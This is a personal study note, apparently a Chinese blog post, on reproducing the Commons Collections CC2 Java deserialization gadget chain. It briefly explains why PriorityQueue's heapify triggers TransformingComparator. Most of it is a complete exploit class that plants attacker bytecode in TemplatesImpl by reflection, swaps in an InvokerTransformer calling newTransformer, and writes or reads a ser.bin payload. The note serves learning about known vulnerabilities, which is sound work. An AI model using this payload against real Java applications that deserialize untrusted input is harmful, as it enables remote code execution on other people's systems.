目录

Java反序列化-cc2链挖掘复现个人学习笔记

Java反序列化-cc2链挖掘复现(个人学习笔记)

CC2用到了之前CC4的知识,下面把CC4的链子分析的链接放到下面

流程图:

https://i-blog.csdnimg.cn/direct/a8014970223541448330dfac6d16313e.png

思路:

TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->

TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()

https://i-blog.csdnimg.cn/direct/470527df7d7f4588a3f00554622a0568.png

使用InvokerTransformer来调用TransformerImpl的newTransformer方法,

因为是无参的所以也不需要给类和对象赋值

InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

https://i-blog.csdnimg.cn/direct/c6f40a9c185b46bc9dfe7d941981ac5f.png

问题:

还是CC4里面的问题,如何让代码在反序列化中执行而不是提前执行?

1. 为什么需要两次 add()

PriorityQueue 在反序列化时会通过 heapify() 方法重建堆结构。 当队列中有两个或更多元素时heapify() 会触发元素的比较操作,从而调用 TransformingComparator.compare() 方法。如果队列中只有一个元素,则无需比较,无法触发后续漏洞利用链。因此,必须添加至少两个元素。

2. 为什么顺序不能调换?

  • 反序列化时的比较顺序

    当队列中存在元素 AB 时, heapify() 会依次比较它们。若将 templates (恶意对象)放在前面,比较时会 先调用其 newTransformer() 方法 ,触发恶意代码。而如果先添加其他对象(如 3 ),比较时会 先尝试调用 3.newTransformer()Integer 类型无此方法),导致异常并中断流程。

  • TransformingComparator的工作机制

    TransformingComparator 会分别对两个元素调用 transform() 。若第一个元素是 templates ,其 transform() 会成功触发漏洞;而第二个元素即使失败(如 3 ),此时恶意代码已执行。

exp:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        //_name
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Rsecret2");
        //_bytecodes
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});


        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(3);

        Class c = transformingComparator.getClass();
        Field transformer = c.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,invokerTransformer);



//        serialize(priorityQueue);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}